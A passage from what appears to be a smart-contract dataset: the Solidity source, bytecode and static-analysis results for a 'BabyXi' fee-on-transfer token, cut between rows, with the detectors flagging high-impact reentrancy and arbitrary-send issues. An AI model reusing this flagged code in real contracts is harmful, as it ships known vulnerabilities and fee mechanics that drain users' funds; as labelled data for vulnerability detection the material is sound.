472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ec4baeaba7218b66d62a9ee303f00879858329479e554f9d2c8412f9abdb243f64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,207 |
0xc3cec1dffefbb1eec228b7e6d8f36eb6de08eb06
|
/**
Telegram: https://t.me/BabyXi
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyXi is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"BabyXi";
string private constant _symbol = unicode"BABYXI";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 8;
uint256 private _feeRate = 5;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
bool private _useImpactFeeSetter = true;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function setFee(uint256 impactFee) private {
uint256 _impactFee = 10;
if(impactFee < 10) {
_impactFee = 10;
} else if(impactFee > 40) {
_impactFee = 30;
} else {
_impactFee = impactFee;
}
if(_impactFee.mod(2) != 0) {
_impactFee++;
}
_taxFee = (_impactFee.mul(2)).div(10);
_teamFee = (_impactFee.mul(10)).div(10);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_taxFee = 2;
_teamFee = 10;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (180 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(_useImpactFeeSetter) {
uint256 feeBasis = amount.mul(_feeMultiplier);
feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount));
setFee(feeBasis);
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 2000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (90 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a91461036f578063c3c8cd801461038f578063c9567bf9146103a4578063db92dbb6146103b9578063dd62ed3e146103ce578063e8078d941461041457600080fd5b8063715018a6146102c45780638da5cb5b146102d957806395d89b4114610301578063a9059cbb14610330578063a985ceef1461035057600080fd5b8063313ce567116100fd578063313ce5671461021157806345596e2e1461022d5780635932ead11461024f57806368a3a6a51461026f5780636fc3eaec1461028f57806370a08231146102a457600080fd5b806306fdde0314610145578063095ea7b31461018657806318160ddd146101b657806323b872dd146101dc57806327f3a72a146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600681526542616279586960d01b60208201525b60405161017d9190611bd0565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004611b23565b610429565b604051901515815260200161017d565b3480156101c257600080fd5b50683635c9adc5dea000005b60405190815260200161017d565b3480156101e857600080fd5b506101a66101f7366004611ae2565b610440565b34801561020857600080fd5b506101ce6104a9565b34801561021d57600080fd5b506040516009815260200161017d565b34801561023957600080fd5b5061024d610248366004611b89565b6104b9565b005b34801561025b57600080fd5b5061024d61026a366004611b4f565b610562565b34801561027b57600080fd5b506101ce61028a366004611a6f565b6105e1565b34801561029b57600080fd5b5061024d610604565b3480156102b057600080fd5b506101ce6102bf366004611a6f565b610631565b3480156102d057600080fd5b5061024d610653565b3480156102e557600080fd5b506000546040516001600160a01b03909116815260200161017d565b34801561030d57600080fd5b5060408051808201909152600681526542414259584960d01b6020820152610170565b34801561033c57600080fd5b506101a661034b366004611b23565b6106c7565b34801561035c57600080fd5b50601454600160a81b900460ff166101a6565b34801561037b57600080fd5b506101ce61038a366004611a6f565b6106d4565b34801561039b57600080fd5b5061024d6106fa565b3480156103b057600080fd5b5061024d610730565b3480156103c557600080fd5b506101ce61077d565b3480156103da57600080fd5b506101ce6103e9366004611aa9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042057600080fd5b5061024d610795565b6000610436338484610b48565b5060015b92915050565b600061044d848484610c6c565b61049f843361049a85604051806060016040528060288152602001611dc2602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061120e565b610b48565b5060019392505050565b60006104b430610631565b905090565b6011546001600160a01b0316336001600160a01b0316146104d957600080fd5b603381106105265760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b0316331461058c5760405162461bcd60e51b815260040161051d90611c25565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610557565b6001600160a01b03811660009081526006602052604081205461043a9042611d16565b6011546001600160a01b0316336001600160a01b03161461062457600080fd5b4761062e81611248565b50565b6001600160a01b03811660009081526002602052604081205461043a906112cd565b6000546001600160a01b0316331461067d5760405162461bcd60e51b815260040161051d90611c25565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610436338484610c6c565b6001600160a01b03811660009081526006602052604081206001015461043a9042611d16565b6011546001600160a01b0316336001600160a01b03161461071a57600080fd5b600061072530610631565b905061062e81611351565b6000546001600160a01b0316331461075a5760405162461bcd60e51b815260040161051d90611c25565b6014805460ff60a01b1916600160a01b17905561077842605a611ccb565b601555565b6014546000906104b4906001600160a01b0316610631565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161051d90611c25565b601454600160a01b900460ff16156108195760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051d565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108563082683635c9adc5dea00000610b48565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088f57600080fd5b505afa1580156108a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c79190611a8c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090f57600080fd5b505afa158015610923573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109479190611a8c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c79190611a8c565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109f781610631565b600080610a0c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6f57600080fd5b505af1158015610a83573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa89190611ba2565b5050671bc16d674ec800006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b0c57600080fd5b505af1158015610b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b449190611b6c565b5050565b6001600160a01b038316610baa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051d565b6001600160a01b038216610c0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051d565b6001600160a01b038216610d325760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051d565b60008111610d945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051d565b6000546001600160a01b03848116911614801590610dc057506000546001600160a01b03838116911614155b156111b157601454600160a81b900460ff1615610e40573360009081526006602052604090206002015460ff16610e4057604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e6b57506013546001600160a01b03838116911614155b8015610e9057506001600160a01b03821660009081526005602052604090205460ff16155b15610ff357601454600160a01b900460ff16610eee5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161051d565b6002600955600a8055601454600160a81b900460ff1615610fb957426015541115610fb957601054811115610f2257600080fd5b6001600160a01b0382166000908152600660205260409020544211610f945760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161051d565b610f9f4260b4611ccb565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ff357610fd642600f611ccb565b6001600160a01b0383166000908152600660205260409020600101555b6000610ffe30610631565b601454909150600160b01b900460ff1615801561102957506014546001600160a01b03858116911614155b801561103e5750601454600160a01b900460ff165b156111af57601454600160a81b900460ff16156110cb576001600160a01b03841660009081526006602052604090206001015442116110cb5760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161051d565b601454600160b81b900460ff16156111305760006110f4600c54846114da90919063ffffffff16565b6014549091506111239061111c908590611116906001600160a01b0316610631565b90611559565b82906115b8565b905061112e816115fa565b505b801561119d57600b5460145461116691606491611160919061115a906001600160a01b0316610631565b906114da565b906115b8565b81111561119457600b5460145461119191606491611160919061115a906001600160a01b0316610631565b90505b61119d81611351565b4780156111ad576111ad47611248565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111f357506001600160a01b03831660009081526005602052604090205460ff165b156111fc575060005b61120884848484611667565b50505050565b600081848411156112325760405162461bcd60e51b815260040161051d9190611bd0565b50600061123f8486611d16565b95945050505050565b6011546001600160a01b03166108fc6112628360026115b8565b6040518115909202916000818181858888f1935050505015801561128a573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112a58360026115b8565b6040518115909202916000818181858888f19350505050158015610b44573d6000803e3d6000fd5b60006007548211156113345760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161051d565b600061133e611695565b905061134a83826115b8565b9392505050565b6014805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061139957611399611d88565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ed57600080fd5b505afa158015611401573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114259190611a8c565b8160018151811061143857611438611d88565b6001600160a01b03928316602091820292909201015260135461145e9130911684610b48565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611497908590600090869030904290600401611c5a565b600060405180830381600087803b1580156114b157600080fd5b505af11580156114c5573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b6000826114e95750600061043a565b60006114f58385611cf7565b9050826115028583611ce3565b1461134a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161051d565b6000806115668385611ccb565b90508381101561134a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161051d565b600061134a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116b8565b600a8082101561160c5750600a611620565b602882111561161d5750601e611620565b50805b61162b8160026116e6565b1561163e578061163a81611d2d565b9150505b61164e600a6111608360026114da565b600955611660600a61116083826114da565b600a555050565b8061167457611674611728565b61167f848484611756565b8061120857611208600e54600955600f54600a55565b60008060006116a261184d565b90925090506116b182826115b8565b9250505090565b600081836116d95760405162461bcd60e51b815260040161051d9190611bd0565b50600061123f8486611ce3565b600061134a83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525061188f565b6009541580156117385750600a54155b1561173f57565b60098054600e55600a8054600f5560009182905555565b600080600080600080611768876118c3565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061179a9087611920565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117c99086611559565b6001600160a01b0389166000908152600260205260409020556117eb81611962565b6117f584836119ac565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161183a91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061186982826115b8565b82101561188657505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118b05760405162461bcd60e51b815260040161051d9190611bd0565b506118bb8385611d48565b949350505050565b60008060008060008060008060006118e08a600954600a546119d0565b92509250925060006118f0611695565b905060008060006119038e878787611a1f565b919e509c509a509598509396509194505050505091939550919395565b600061134a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061120e565b600061196c611695565b9050600061197a83836114da565b306000908152600260205260409020549091506119979082611559565b30600090815260026020526040902055505050565b6007546119b99083611920565b6007556008546119c99082611559565b6008555050565b60008080806119e4606461116089896114da565b905060006119f760646111608a896114da565b90506000611a0f82611a098b86611920565b90611920565b9992985090965090945050505050565b6000808080611a2e88866114da565b90506000611a3c88876114da565b90506000611a4a88886114da565b90506000611a5c82611a098686611920565b939b939a50919850919650505050505050565b600060208284031215611a8157600080fd5b813561134a81611d9e565b600060208284031215611a9e57600080fd5b815161134a81611d9e565b60008060408385031215611abc57600080fd5b8235611ac781611d9e565b91506020830135611ad781611d9e565b809150509250929050565b600080600060608486031215611af757600080fd5b8335611b0281611d9e565b92506020840135611b1281611d9e565b929592945050506040919091013590565b60008060408385031215611b3657600080fd5b8235611b4181611d9e565b946020939093013593505050565b600060208284031215611b6157600080fd5b813561134a81611db3565b600060208284031215611b7e57600080fd5b815161134a81611db3565b600060208284031215611b9b57600080fd5b5035919050565b600080600060608486031215611bb757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611bfd57858101830151858201604001528201611be1565b81811115611c0f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611caa5784516001600160a01b031683529383019391830191600101611c85565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cde57611cde611d5c565b500190565b600082611cf257611cf2611d72565b500490565b6000816000190483118215151615611d1157611d11611d5c565b500290565b600082821015611d2857611d28611d5c565b500390565b6000600019821415611d4157611d41611d5c565b5060010190565b600082611d5757611d57611d72565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461062e57600080fd5b801515811461062e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202750b1ae9d2cddf01152380768957064cd8dfed7f36bc7a110131862e25caa4b64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,208 |
0x06de17170c3c2a5bd3377e76edc56631048c854f
|
/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
pragma solidity ^0.5.4;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(
address from,
address to,
uint256 value
) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value
);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
